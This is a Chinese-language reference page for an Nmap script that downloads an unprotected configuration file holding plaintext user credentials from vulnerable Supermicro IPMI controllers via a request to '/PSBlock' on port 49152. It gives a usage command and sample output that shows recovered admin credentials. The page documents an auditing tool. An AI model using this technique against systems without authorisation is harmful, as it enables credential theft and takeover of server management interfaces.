指令類型：ortrule
下載：https://svn.nmap.org/nmap/scripts/supermicro-ipmi-conf.nse
Nmap Script指令摘要
嘗試從存在漏洞的Supermicro板載IPMI控制器下載未受保護的配置文件，該配置文件包含明文用戶憑證。
該腳本連接到49152端口並發出對"/PSBlock"的請求以下載該文件。這個配置文件包含了以明文形式的用戶及其密碼。
參考資料：
Nmap Script指令參數
supermicro-ipmi-conf.out輸出文件以存儲配置文件。默認：<ip>_bmc.conf
slaxml.debug參見slaxml庫的文檔。
http.host, http.max-body-size, http.max-cache-size, http.max-pipeline, http.pipeline, http.truncated-ok, http.useragent參見http庫的文檔。
smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername參見smbauth庫的文檔。
vulns.short, vulns.showall參見vulns庫的文檔。
Nmap Script指令範例
nmap -p49152 --script supermicro-ipmi-conf <target>Nmap Script指令輸出
PORT STATE SERVICE REASON
49152/tcp open unknown syn-ack
| supermicro-ipmi-conf:
| VULNERABLE:
| Supermicro IPMI/BMC configuration file disclosure
| State: VULNERABLE (Exploitable)
| Description:
| Some Supermicro IPMI/BMC controllers allow attackers to download
| a configuration file containing plain text user credentials. This credentials may be used to log in to the administrative interface and the
| network's Active Directory.
| Disclosure date: 2014-06-19
| Extra information:
| Snippet from configuration file:
| .............31spring.............\x14..............\x01\x01\x01.\x01......\x01ADMIN...........ThIsIsApAsSwOrD.............T.T............\x01\x01\x01.\x01......\x01ipmi............w00t!.............\x14.............
| Configuration file saved to 'xxx.xxx.xxx.xxx_bmc.conf'
|
| References:
|_ http://blog.cari.net/carisirt-yet-another-bmc-vulnerability-and-some-added-extras/Nmap Script作者:
Paulino Calderon <calderon () websec mx>
License: Same as Nmap--See https://nmap.org/book/man-legal.html
Comments